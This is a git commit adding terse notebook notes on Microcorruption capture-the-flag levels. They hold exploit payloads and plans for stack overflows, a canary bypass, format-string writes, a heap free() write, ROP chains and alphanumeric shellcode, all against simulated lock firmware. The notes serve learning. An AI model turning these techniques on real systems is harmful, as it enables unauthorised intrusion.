mirror of
https://git.soft.fish/val/MicroCorruption.git
synced 2024-11-21 14:56:01 +00:00
notes.md: Add book notes for Montevideo through Lagos
This commit is contained in:
parent
5e23a963ec
commit
95e7776c8a
26
10-Santa Cruz/notes.md
Normal file
26
10-Santa Cruz/notes.md
Normal file
@ -0,0 +1,26 @@
|
||||
`Taken verbatim from my notebook`
|
||||
# Page 1
|
||||
```
|
||||
Santa Cruz
|
||||
2 buffers
|
||||
username [0x63] -> 2404 -> 43a2
|
||||
password [0x63] -> 2404 -> 43b5
|
||||
r4: return addr: 43cc
|
||||
Min len stored at 43b3
|
||||
username +0x11 index 17
|
||||
Max len stored at 43b4
|
||||
username +0x12 index 18
|
||||
43c6 must be 00
|
||||
-> password must be 16 chars
|
||||
so strcpy places 00 there
|
||||
-> password: "passwordpassword"
|
||||
|
||||
username[0x11] = 01
|
||||
username[0x12] = 7f
|
||||
username[0x42+]= 4a44
|
||||
|
||||
Don't put important constants on the stack?
|
||||
Strcpy does copy the last null byte
|
||||
|
||||
A program
|
||||
```
|
30
11-Jakarta/notes.md
Normal file
30
11-Jakarta/notes.md
Normal file
@ -0,0 +1,30 @@
|
||||
`Taken verbatim from my notebook`
|
||||
# Page 1
|
||||
```
|
||||
Jakarta
|
||||
Acquires 0xff username bytes
|
||||
-> 3ff2
|
||||
Acquires 0x1f - uname_len password bytes
|
||||
(1f - uname_len) & 0x1ff
|
||||
uname_len = 0x20? 0x21?
|
||||
=> passwd_len = 0x1ff
|
||||
-> concatenated to username?
|
||||
Return value at 401c
|
||||
= [username][password][...]
|
||||
|
||||
before strcpy:
|
||||
username -> 2402
|
||||
password -> 2402
|
||||
concat happens in stack buffer
|
||||
Length check happens Byte
|
||||
0120 ~= 0x20 <= 0x21
|
||||
u_len = (20 or 21)
|
||||
p_len = (e0 -> 100)
|
||||
|
||||
Password
|
||||
AA [r11] [ret] [fakeret] [args] [AA...AA]
|
||||
|
||||
Lesson: Sometimes things are not the data type you think they are
|
||||
```
|
||||
|
||||
`// TODO: What does this mean??`
|
24
12-Addis Ababa/notes.md
Normal file
24
12-Addis Ababa/notes.md
Normal file
@ -0,0 +1,24 @@
|
||||
`Taken verbatim from my notebook`
|
||||
# Page 1
|
||||
```
|
||||
Addis Ababa
|
||||
format string vulns? (manual hint)
|
||||
%n: store # chars printed into stack vaf
|
||||
? where ?
|
||||
-> 2 prev characters??
|
||||
30e0: flag location
|
||||
lE: e0 30
|
||||
|
||||
30e0: \0\0 n a m e : p a s s\0
|
||||
argv [ 1 ][ 2 ][ 3 ][ 4 ][ 5 ][ 6 ]
|
||||
|
||||
addr A %n
|
||||
e0 30 %n %n
|
||||
DEL 0 %n %n
|
||||
|
||||
```
|
||||
|
||||
Editor's note:
|
||||
```
|
||||
e030 256e 256e
|
||||
```
|
14
13-Novosibirsk/notes.md
Normal file
14
13-Novosibirsk/notes.md
Normal file
@ -0,0 +1,14 @@
|
||||
`Taken verbatim from my notebook`
|
||||
# Page 1
|
||||
```
|
||||
Novosibirsk
|
||||
Gets 1f4 characters
|
||||
Actually allocates proper buffer
|
||||
|
||||
44c8: interrupt #
|
||||
would be nice to set this to 7f
|
||||
|
||||
Hypothesis:
|
||||
"[addr]['A';0x7d]%n"
|
||||
c844 4141... 25be
|
||||
Hole in one!
|
31
14-Algiers/notes.md
Normal file
31
14-Algiers/notes.md
Normal file
@ -0,0 +1,31 @@
|
||||
`Taken verbatim from my notebook`
|
||||
# Page 1
|
||||
```
|
||||
Algiers d.01
|
||||
"LockIT Pro Account Manager"
|
||||
Tentative TODO:
|
||||
Authorizer? How to auth user
|
||||
Interfaces with HSM1
|
||||
|
||||
I can overflow heap objects
|
||||
uname&pass 0x30 long
|
||||
>0x10 overflows
|
||||
Can I craft a fake heap object?
|
||||
username -> overwrite pass blk header?
|
||||
password -> ???
|
||||
|
||||
Hypothesis: arb write in free()
|
||||
Username
|
||||
passwordpassword[addr]
|
||||
"d E "?
|
||||
4398:
|
||||
0000 4044 0000 .... Unguarded
|
||||
in free: free() is arb
|
||||
r15 = &this_block write~!
|
||||
r14 = &prev_block
|
||||
r13 = {size:15,final:1}
|
||||
r12 = {prev_size:5,final:1}
|
||||
if prev is final:
|
||||
skip last-block steps
|
||||
else last-block steps
|
||||
```
|
61
15-Vladivostok/notes.md
Normal file
61
15-Vladivostok/notes.md
Normal file
@ -0,0 +1,61 @@
|
||||
`Taken verbatim from my notebook`
|
||||
# Page 1
|
||||
```
|
||||
Vladivostok ASLR bypass?
|
||||
username[8]: 0x242b
|
||||
password[ ]
|
||||
aslr_base = r11
|
||||
|
||||
aslr_address = normal - 0x4000 + aslr_base
|
||||
|
||||
Have to call 0x10 directly?
|
||||
INT 7f:
|
||||
Takes no arguments (THE LESSON WAS)
|
||||
7f passed in SR (ROP CHAINING)
|
||||
All calls to INT wrapped in (+ASLR BYPASS)
|
||||
push/pop SR?
|
||||
Neat?
|
||||
|
||||
41414141[r10][r11][ret]
|
||||
FUCKING PRINTF?
|
||||
|
||||
Things I have:
|
||||
printf(username, ...)
|
||||
buffer overflow on stack
|
||||
|
||||
Things I need
|
||||
Address on stack?
|
||||
|
||||
Flow: 1. enter "username"
|
||||
2. "username" printed
|
||||
<- Create payload
|
||||
3. enter "password"
|
||||
4. buffer overflow
|
||||
```
|
||||
|
||||
# Page 2
|
||||
```
|
||||
The Hack (Vladivostok)
|
||||
|
||||
Uname payload: "%x%x%x%x"
|
||||
output %printf
|
||||
Pword payload: "AAAA(r10)(r11)(pc)[args...]"
|
||||
|
||||
Useful locations:
|
||||
+2aa: pop sr
|
||||
+2ac: add 8, sp
|
||||
+2ae: __check_password
|
||||
|
||||
+56c: mov.b @sp, r15;
|
||||
sxt r15 ; pop.b r15
|
||||
incd sp ;
|
||||
ret ;
|
||||
|
||||
+4f4: swpb r15 ;
|
||||
mov r15, sr ;
|
||||
bis #8000, sr ; INT
|
||||
call 0x10 ;
|
||||
... ;
|
||||
ret ;
|
||||
|
||||
[popb]7f7f[INT]
|
23
16-Bangalore/notes.md
Normal file
23
16-Bangalore/notes.md
Normal file
@ -0,0 +1,23 @@
|
||||
`Taken verbatim from my notebook`
|
||||
# Page 1
|
||||
```
|
||||
Bangalore DEP/NX
|
||||
Passwords 8-16 chars } 0x20 B limit
|
||||
Takes 0x30 (48) chars }
|
||||
|
||||
Strategy: Construct a ROP chain
|
||||
to turn page 45 executable
|
||||
NO STRCPY
|
||||
|
||||
mark_page_executable @ 44ba
|
||||
44ba: sub #6, sp
|
||||
mov #9100, sr
|
||||
call #0x10
|
||||
add #0xa, sp
|
||||
RET
|
||||
|
||||
4458: call 0x10
|
||||
|
||||
ROP to set stack executable,
|
||||
Exec to open the lock
|
||||
```
|
129
17-Lagos/notes.md
Normal file
129
17-Lagos/notes.md
Normal file
@ -0,0 +1,129 @@
|
||||
`Taken from my notebook, verbatim`
|
||||
|
||||
|
||||
### Page 5
|
||||
```
|
||||
LAGOS
|
||||
45a0: 0b41 -> 3041 "ret"
|
||||
|
||||
WE CAN add #4130, sp
|
||||
~ MOVE THE STACK ~
|
||||
|
||||
0: input [0x1bf]=
|
||||
1: ret -> 4444 (sp+0x60)
|
||||
2: Move stack to 2400+1c0
|
||||
3: Ret -> arbitrary address (i.e. 2400+1c2)
|
||||
4: Execute arbitrary code
|
||||
```
|
||||
|
||||
### Page 1
|
||||
```
|
||||
Lagos Alphanumerics Only
|
||||
`0x200 B -> #2400`
|
||||
Password valid range: 8-16 c
|
||||
Valid chars:
|
||||
[0-9] [A-Z] [a-z]
|
||||
30-39 41-5a 61-7a
|
||||
|
||||
We have enough chars
|
||||
to overwrite current
|
||||
function
|
||||
|
||||
1b5 bytes before hitting
|
||||
current instruction
|
||||
|
||||
3041 = ret
|
||||
45a0 = 0b41
|
||||
at index 1b5
|
||||
Control of return addr
|
||||
-> we can ret to string buffer
|
||||
bypassing sanitizer!
|
||||
|
||||
ret to 2400+1bb
|
||||
25b5
|
||||
run code from there!
|
||||
ret at index 0x11
|
||||
... we need a JMP to get there.
|
||||
... all our jumps are positive
|
||||
```
|
||||
|
||||
### Page 2
|
||||
```
|
||||
D p
|
||||
4470 looks like a good place
|
||||
D 0
|
||||
for code, or 4430
|
||||
|
||||
5a37: jge $-14a ?
|
||||
|
||||
Arithmetic instructions
|
||||
Form addresses with sub?
|
||||
25 b6 bb25
|
||||
^lsb
|
||||
55-30 7a-30(ish)
|
||||
547a + 3030 =
|
||||
5630 - 307a = 25bb!
|
||||
V 0 0 z
|
||||
|
||||
We can load from our string:
|
||||
pop r4 = 3441
|
||||
"4 A "
|
||||
-> can be any reg from
|
||||
0-9: 3r41
|
||||
add.b = 7x5y
|
||||
3451 = pop & add to r4
|
||||
|
||||
3441 3451
|
||||
pop r4 add r4
|
||||
```
|
||||
|
||||
### Page 3
|
||||
```
|
||||
Instructions in range
|
||||
30: jn
|
||||
34: jge
|
||||
38: jl
|
||||
3c: jmp
|
||||
|
||||
4#: mov
|
||||
5#: add
|
||||
6#: addc
|
||||
7#: subc
|
||||
|
||||
Feasible addressing modes
|
||||
10 @Rn Register indirect
|
||||
11 @Rn+ RI w/ post-inc
|
||||
|
||||
Subtract the stack from pc?
|
||||
3071 subc @sp+, pc
|
||||
"Large relative jump"
|
||||
|
||||
Alignment in 2400 buffer
|
||||
is not same as in PC
|
||||
```
|
||||
|
||||
### Page 4
|
||||
```
|
||||
What is an alphanumeric character?
|
||||
[0-9] [A-Z] [a-z]
|
||||
30-39 41-5a 61-7a
|
||||
|
||||
Buffers: 43ed: stack buffer
|
||||
2400: load buffer
|
||||
|
||||
43ed + 0x57: 4444
|
||||
|
||||
45a0: last byte copied (1b3 bytes)
|
||||
&[43ed + 1b3] = 0x30, '0'
|
||||
43ed + 1c0 = payload
|
||||
|
||||
Correction: sp at 43ec before
|
||||
we gain exec
|
||||
ret will tak sp to 43ee
|
||||
... we need to create a fake stack
|
||||
somewhere over in the controllable
|
||||
zone
|
||||
|
||||
The loop only continues if the
|
||||
FOLLOWING BYTE is valid.
|
||||
```
|
14
8-Montevideo/notes.md
Normal file
14
8-Montevideo/notes.md
Normal file
@ -0,0 +1,14 @@
|
||||
`Taken verbatim from my notebook`
|
||||
# Page 1
|
||||
```
|
||||
Montevideo
|
||||
strcpy/memset
|
||||
|
||||
Allocated 16-byte buffer on stack
|
||||
Strcpy into it
|
||||
43ee: start of stack buffer
|
||||
43fe: return address
|
||||
454c: INT
|
||||
|
||||
['A';16] 4c45 0000 7f
|
||||
```
|
16
9-Johannesberg/notes.md
Normal file
16
9-Johannesberg/notes.md
Normal file
@ -0,0 +1,16 @@
|
||||
`Taken verbatim from my notebook`
|
||||
# Page 1
|
||||
```
|
||||
Johannesberg STACK CANARY
|
||||
Gets 3f bytes
|
||||
strcpy over stack
|
||||
...
|
||||
cmp str[0x11] == c6
|
||||
if str[0x11] == c6 ; 17th byte is c6
|
||||
add #0x12, sp
|
||||
ret
|
||||
else
|
||||
halt
|
||||
|
||||
['A';16] cb cb 94 45 20 20 7f
|
||||
```
|
Loading…
Reference in New Issue
Block a user